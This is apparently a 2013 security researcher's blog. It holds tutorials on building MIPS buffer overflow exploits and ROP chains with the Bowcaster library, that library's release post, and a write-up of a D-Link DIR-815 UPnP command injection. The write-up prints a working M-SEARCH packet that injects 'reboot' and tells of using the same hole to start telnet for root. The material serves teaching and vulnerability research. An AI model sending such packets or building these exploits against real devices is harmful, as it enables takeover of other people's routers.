#placeholder address that can be dereferenced without crashing, this goes in $s2
section=SC.gadget_section(628,0x427a4,
            description="[$s2] placeholder, derefed without crashing.")
sections.append(section)

#stackfinder. add 0xe0+var_c0 + $sp into $s0, jalr $s6
section=SC.gadget_section(688,0x427a4,description="stackfinder.")
sections.append(section)

#stackjumber. jalr $s0
section=SC.gadget_section(644,0x1ffbc,description="[$s0] stackjumper")
sections.append(section)



Pass this list to the OverflowBuffer constructor to create a buffer overflow string containing your ROP chain.

In the next part, I'll describe adding a connect-back payload section to your buffer overflow string as well as how to use a payload encoder.

------------------------
[1] In a future tutorial I'll describe the use of the EmptyOverflowBuffer class.  Instead of taking a list of replacement sections, it starts out with 0 length, and you build it up by appending sections one at at time.


UPDATE 3/29/2013: Added syntax highlighting. Added import statement for SectionCreator.
UPDATE 4/8/2013: References to Crossbow have been changed to Bowcaster

Buffer Overflows with Bowcaster Part 1

This is the first in a multi-part tutorial on developing a buffer overflow exploit using Crossbow (now called Bowcaster), which I released earlier today.

For this tutorial I've written a simple program in C that overflows a buffer on the stack with whatever it reads from the network.  I cross-compiled it for MIPS Linux and ran it using QEMU chrooted into the unpacked filesystem of the Netgear WNDR3700v3 (Firmware 1.0.0.18).

The program, vulnerable.c contains the following function:


/*
 * vulnerable function.
 * reads up to 2048 off a socket onto a small buffer on the stack.
 */
int receive_data(int sockfd)
{
    int read_bytes;
    char buf[512];


    if(sockfd < 0)
    {
        return -1;
    }

    read_bytes=recv(sockfd,buf,2048,0);
    if(read_bytes < 0)
    {
        perror("recv");
    }else
    {
        printf("read %d bytes.\n",read_bytes);
    }

    return read_bytes;

}


This is a contrived example[1] but it should make it easier to focus on the mechanics of using Crossbow without getting bogged down in real-world complications.

The first module to know about when developing a buffer overflow is bowcaster.overflow_development.overflowbuilder.  This module contains classes that will be useful for building an overflow buffer.  There are two main classes to choose from when bulding your buffer, OverflowBuffer, and EmptyOverflowBuffer.  They each represent a different way of solving the same set of problems, and they each have their advantages.  For now, we'll use the first; OverflowBuffer.  I'll do a subsequent tutorial show how to use the second.

The OverflowBuffer class starts you out with a buffer of a specified length filled with a pattern string consisting of upper and lower alphabetic characters and numbers (to help with debugging).  One at a time, you can start replacing sections of that buffer with things like ROP gadgets or your payload.

Here's an example:


buf=OverflowBuffer(LittleEndian,2048)

Here we instantiate the OverflowBuffer object, passing it "LittleEndian" and the size of the buffer we want to create; 2048.

The LittleEndian object is a constant that OverflowBuffer will use whenever data encoding is endianness-sensitive.  It is imported and made available for use like so:


from bowcaster.common.support import LittleEndian

The OverflowBuffer object can be converted to a string and sent to the target:


sock.send(str(buf))


With a debugger attached to the vulnerable program we can witness our first crash, controlling the function's return address:


The $ra register contains 0x41367241.

OverflowBuffer provides a function, find_offset(), that takes a string or an integer and will locate that value in the overflow string.

I like to add an option to my exploit program that lets me provide a search string on the command line and find the offset.


if len(sys.argv) == 2:
    search_value=sys.argv[1]
    if search_value.startswith("0x"):
        value=int(search_value,16)
    offset=buf.find_offset(value)
    if(offset < 0):
        print "Couldn't find value %s in the overflow buffer." % search_value
    else:
        print "Found value %s at\noffset: %d" % (search_value,offset)
    exit(0)


When searching for 0x41367241, it is found 528 bytes from the start of the overflow buffer.

Found value 0x41367241 at
offset: 528

Now we can insert the first of a series of ROP gadgets at offset 528.

Controlling several S registers is important for staging ROP gadgets, but unfortunately this vulnerable function doesn't restore any S registers before returning.  We can only control the $ra register.  That means we need to return into a function epilogue that does restore several S registers.

While bowcaster doesn't provide the capability to search for ROP gadgets, this can be done in IDA Pro or using objdump from your compiler toolchain[2].

In the next part I'll cover how to describe your ROP gadgets and add them to your overflow using Crossbow.


------------------------
[1] Although, in the world of embedded MIPS Linux, not as contrived as one might think. :-/
[2] If anyone wants to contribute, a MIPS ROP finder that can be used independently of IDA would be super double awesome.


UPDATE 3/29/2013: Added syntax highlighting using https://github.com/Siarc/code2html.  Thanks for the tip, @0xKD.
UPDATE 4/8/2013: References to Crossbow have been changed to Bowcaster

Crossbow

UPDATE: Crossbow has been renamed to Bowcaster. It turns out "Crossbow" is a popular word.  Who knew?  A company in California has the word registered as a trademark in the US in connection with computer software.  They might be cool with us using the word, since this is an open-source noncommercial product, but we've decided to change the name just in case.  Hopefully the new name is esoteric enough to avoid any naming conflicts, while still being cool and fun to say.  I'm leaving this post as-is, save for the new Github link.  The old Github project will stay up for a while, but you should use the new one from this point on.

Thanks!
Zach

ORIGINAL POST:

I'm proud to announce the open source release of a project I've been working on since January called Crossbow.

Vulnerability research on embedded systems, particularly MIPS Linux systems, is an underserved area.  Other targets such as x86 desktop systems and ARM smartphones and tablets have a wealth of tools and techniques readily available to the researcher.  In the past year and a half as I've been doing more and more research on embedded devices and developing exploits for them, I've had to roll a bunch of my own code whenever I needed something that wasn't already available.  I began to realize that I should probably pull all these things together into a single project to help with exploit development.

Crossbow is that project.  Why "Crossbow"?  Mainly because I thought it sounded cool.  But also because I wanted the name to evoke the image of an offensive tool that is lightweight and uncomplicated.

At Tactical Network Solutions, we don't generally use the defacto standard Metasploit Framework for exploit development.  This is for a variety of reasons.  Among them is that we mostly code in Python.  The tools, libraries, frameworks, etc. that we've all developed internally are mostly in Python.  Plus, the vulnerability research community has really crystalized around Python as a research and development language, so there are a ton of external resources in that language.  Point is, we'd like to stick with Python if we can.

Also, MSF provides a whole lot that we don't need but not very much that we do need.  We wanted something useful but lightweight.  You can install Crossbow on your development system, or just stick it right in the source tree of your exploit code. Whatever. It's all good.

So this is the motivation behind Crossbow: Python code that eases the development of exploits, plays nice with our other stuff built in Python, and doesn't provide a ton of stuff we don't really need.

To be clear, Crossbow is to aid in the development of exploits.  It's not an exploitation framework or pen-test tool in and of itself.  I don't envision packaging actual exploit code with it.  Its purpose is to abstract some of the tedious details of exploit development such as encoders, payloads, building a ROP chain, etc.

I hope to post a few tutorials in the next few days on using Crossbow to develop exploits against embedded systems.

Please try it out and let me know what you think.  If you'd like to add features or fix bugs (and I really, REALLY hope you do), clone my repo and send me a pull request.

Cheers and keep up the hacking.

Check out Crossbow from github: https://github.com/zcutlip/crossbow.git

Check out Bowcaster from github: https://github.com/zcutlip/bowcaster.git

Sunday, February 10, 2013

Hacking is Bullshit

I love hacking.  I love vulnerability research.  I love software exploitation.  I love finding creative ways to subvert control of an application or system to make it do something it wasn't intended to do.

But this is research, and like any research, lots of things never pan out.  It's weird because it involves hours, often hundreds or even thousands of hours, of frustration paid off by successes that last only moments.  And the cycle repeats.

In order to develop an exploit we spend countless hours dissecting hardware and software looking for an oversight or misstep on the part of the developer.  We follow dead end paths, only to realize they're dead ends days or weeks in.  We often spend even more time wrestling with tools, trying to get them to work the way they should or to work together properly.  When there isn't a tool already available we spend hours developing one that will help answer an esoteric question or shine light in a dark crevice.

When nothing's going right and at the height of frustration, I'm known to mutter "hacking is bullshit" and walk out of the room.  My colleague, Craig, and I have now taken to calling arbitrary things "bullshit."  Usually hacking, but often computers, programming, people, or D-Link routers.

Yet, we are driven to hack.  We are driven to further the study of vulnerability research, to keep moving the ball down the field.  The exchange of hours of frustration for minutes of victory is worth it.  It's worth it because the next time we solve a similar problem, it takes a few hours rather than hundreds. It's worth it because the victory is amazing.  It's worth it because the euphoria is like nothing else.

It's worth it, but let's be clear: hacking is bullshit.

I wanted to capture the irony of the frustration-to-victory inequity of hacking, so I made a T-shirt on Zazzle called "Hacking is Bullshit."

Here are some pictures:



I made it for myself, but if you'd like one of your own, here's a link that sends me a little kickback for beer.

Cheers and keep up the hacking.  It's worth it.

Friday, February 01, 2013

DLink DIR-815 UPnP Command Injection

With all the excitement regarding UPnP vulnerabilities lately, I though I'd write up this one I found a few weeks back.  I had kind of forgotten about it.  But it's pretty straight forward, and kind of fun, so here it is.

In Tactical Network Solutions' Intro to Embedded Device Exploitation class, we use the D-Link DIR-815 for the practical exercises since there are tons of great 0-days for the students to find.  The last time we taught the class, I thought I'd try my hand at finding a new one. Twenty minutes in, voila! Command injection in a single multicast packet!

The DIR-815 has a single binary executable, /htdocs/cgibin, that is responsible for handling most, if not all, HTTP requests.  I found a symlink to cgibin called 'ssdpcgi':

zach@endor: dir-815-reva1/v1.00/squashfs-root/htdocs (0) $ ls -l upnp/ssdpcgi
lrwxrwxrwx 1 zach wheel 14 Jan  9 13:43 upnp/ssdpcgi -> /htdocs/cgibin

If we disassemble cgibin and look at ssdpcgi_main(), we see it executing a shell script called "/etc/scripts/upnp/M-SEARCH.sh".

IDA Screenshot: A shell script gets excecuted with the contents of the ST field as an argument.
A shell script gets excecuted with the contents of the ST field as an argument.
So let's look at M-SEARCH.sh:



The contents of the M-SEARCH packet get turned into shell arguments.  If we can get one of the arguments to be a string inside backticks, the string gets executed by system()'s 'sh -c' and its output gets handed to M-SEARCH.sh as arguments.

So what if we send an M-SEARCH packet with the ST: field containing the string `reboot`?

M-SEARCH * HTTP/1.1
HOST:239.255.255.250:1900
ST:uuid:`reboot`
MX:2
MAN:"ssdp:discover"

If we send that packet to the 239.255.255.250 multicast address, on UDP port 1900, our D-Link router reboots! Nice!

But rebooting routers is bullshit.  Root or it didn't happen, right?  Okay, no problem.  D-Link routers generally come with a telnet server onboard, so lets use the command injection to fire it up:

Getting root via command injection on the D-Link DIR-815 wireless router

Ownage in a single multicast packet.  Not bad for 20 minutes of strings analysis and a few lines of Python.


Here's some proof-of-concept python code to try out.